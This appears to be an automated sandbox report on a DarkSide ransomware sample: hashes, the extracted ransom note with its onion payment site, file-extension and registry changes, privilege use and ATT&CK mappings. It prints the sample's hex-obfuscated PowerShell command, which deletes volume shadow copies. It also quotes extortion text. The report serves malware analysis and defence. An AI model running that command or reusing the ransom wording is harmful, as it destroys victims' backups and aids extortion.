darkside | 684ce737c1df26159dc117c485e1c922db9f8fb3d8dc086da47a6ca18fa43dc1

General

Target

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Size

260KB
MD5

ce7b2f7008ab93c659494f2931160147
SHA1

ed2aec7ebbcb87059b707aa98bd300c8d75f3acd
SHA256

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc
SHA512

6b81bd235ad199b01ee0801a3e14544a4a720ee0609aaa0df99415dcecf10a114219a96f79f57915701b3f6576ac7259d472519964516a1d92ee4023babab0fb

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.08e0b4c3.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. DATA LEAK ---------------------------------------------- We have uploaded more than 1 TB of data from your network (Personal data of your customers, partners, personal data of your employees, as well as usernames and passwords of your bank accounts, and much more) If you do not contact us, we will publish all the data on the Internet(Media), as well as send it to all supervisory organizations in your country, your customers, partners and competitors. PROOFS (screenshots): https://ibb.co/j579HKQ https://ibb.co/HNfwBXp https://ibb.co/GTCknt9 https://ibb.co/s559W3C https://ibb.co/LNgjXNT https://ibb.co/r2QJ6fV https://ibb.co/PQBRrTn https://ibb.co/1851npy https://ibb.co/yFWcMsm https://ibb.co/1ZsVP9B https://ibb.co/3CPYZ7K What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/V1WEX06KUR61Z0JUXM0R12HXQK71TWOKVVTURZMSESZQ9V8FI49X23M1NUSCSPQO When you open our website, put the following data in the input form: Key: iI3rucYej9vtW6RUIaeuqHVOoBGRdIKxXO4Wv6Axl8jnW8iJP2eoyc7Mwg7klQDRC7uGVmGdHgDZv1zu9bEEp0Jt80cv0TlJZEXNenwMztumWSiyo4YjnQ63FcMzuCQ3dqMKarFiNRmsI1qPJaOeSSJS15KmmfYmUEaGrLt8xDraIQqGXClouzQAZmWIfxeFm1XLwy64qKLG0DpiJg0wJQKkc2Z98IQsRpAOGWTH8ksiFh4uFyXKviABrEDwdOonazjW0Rk0uOWWxmXL2FQIItr2O5vqqTacTBOLqEbm3noi70I9DchrhaVvHWPx7KVRuKKXWGtsvxUPknckBdZIot96GUFkeIaAczo55ghdJepKNszGKXnAI8WRgu1vKcy6J33p3PMcx1g5qCqOCaZv2hlqEN0quAbekEaJXVGNKGcHVDbepQ0yQeOBzz7OK4GnzChZka0Y3GCsHuSt9NoHhc9XLlxor4bHRhjhgMChls5k5xqEXiPYbXgAuaRNKMhKLs9ePKaORiWTp0x2OPCqiV5x4QhlkNYw1FkpHd2PWXi1rpbCFGfeSda !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

https://ibb.co/j579HKQ

https://ibb.co/HNfwBXp

https://ibb.co/GTCknt9

https://ibb.co/s559W3C

https://ibb.co/LNgjXNT

https://ibb.co/r2QJ6fV

https://ibb.co/PQBRrTn

https://ibb.co/1851npy

https://ibb.co/yFWcMsm

https://ibb.co/1ZsVP9B

https://ibb.co/3CPYZ7K

http://darksidfqzcuhtk2.onion/V1WEX06KUR61Z0JUXM0R12HXQK71TWOKVVTURZMSESZQ9V8FI49X23M1NUSCSPQO

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\MountComplete.tif => C:\Users\Admin\Pictures\MountComplete.tif.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File opened for modification	C:\Users\Admin\Pictures\MountComplete.tif.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File renamed	C:\Users\Admin\Pictures\UnblockConvert.crw => C:\Users\Admin\Pictures\UnblockConvert.crw.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File opened for modification	C:\Users\Admin\Pictures\UnblockConvert.crw.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File renamed	C:\Users\Admin\Pictures\UseRedo.crw => C:\Users\Admin\Pictures\UseRedo.crw.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File opened for modification	C:\Users\Admin\Pictures\UseRedo.crw.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File renamed	C:\Users\Admin\Pictures\ExportComplete.raw => C:\Users\Admin\Pictures\ExportComplete.raw.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
File opened for modification	C:\Users\Admin\Pictures\ExportComplete.raw.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\08e0b4c3.BMP"	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\08e0b4c3.BMP"	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\WallpaperStyle = "10"	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

Modifies registry class 5 IoCs

Processes:

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.08e0b4c3\ = "08e0b4c3"	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3\DefaultIcon	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\08e0b4c3.ico"	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exec718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

pid	process
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeSecurityPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeTakeOwnershipPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeLoadDriverPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeSystemProfilePrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeSystemtimePrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeProfSingleProcessPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeIncBasePriorityPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeCreatePagefilePrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeBackupPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeRestorePrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeShutdownPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeDebugPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeSystemEnvironmentPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeRemoteShutdownPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeUndockPrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeManageVolumePrivilege	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: 33	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: 34	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: 35	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: 36	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeBackupPrivilege	620	vssvc.exe
Token: SeRestorePrivilege	620	vssvc.exe
Token: SeAuditPrivilege	620	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe

description	pid	process	target process
PID 4016 wrote to memory of 2288	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe	powershell.exe
PID 4016 wrote to memory of 2288	4016	c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe
"C:\Users\Admin\AppData\Local\Temp\c718e6eaa1a446e0a3d72b533b3552c4419e9e2c646e48a5cbfeb6a7ee88c3dc.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:620

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
2a8e26e48e324de3e4881b1c71cd83a9

SHA1
7bd20805009f8aa0ad63766d439f628969a19810

SHA256
49a6d5b9a5a3be5ec6c9c9637591dec814d79fde4ac4319e36525e2183f89488

SHA512
0eafb6fd87d7714f517717caf5b77097ffa090363ed72778f34bb0b158f733fb30fce7722929b3e54ca2e3a8e90961f3c81a837814d9bff770150d161cb541a3

Download Submit
memory/2288-126-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-127-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-119-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-121-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-122-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-123-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-124-0x000001FA243E0000-0x000001FA24402000-memory.dmp

Filesize
136KB

Download
memory/2288-125-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-118-0x0000000000000000-mapping.dmp

Download
memory/2288-120-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-128-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-129-0x000001FA0A110000-0x000001FA0A112000-memory.dmp

Filesize
8KB

Download
memory/2288-130-0x000001FA0A113000-0x000001FA0A115000-memory.dmp

Filesize
8KB

Download
memory/2288-131-0x000001FA24590000-0x000001FA24606000-memory.dmp

Filesize
472KB

Download
memory/2288-132-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/2288-142-0x000001FA0A116000-0x000001FA0A118000-memory.dmp

Filesize
8KB

Download
memory/2288-147-0x000001FA0A010000-0x000001FA0A012000-memory.dmp

Filesize
8KB

Download
memory/4016-117-0x0000000000400000-0x000000000083C000-memory.dmp

Filesize
4.2MB

Download
memory/4016-116-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads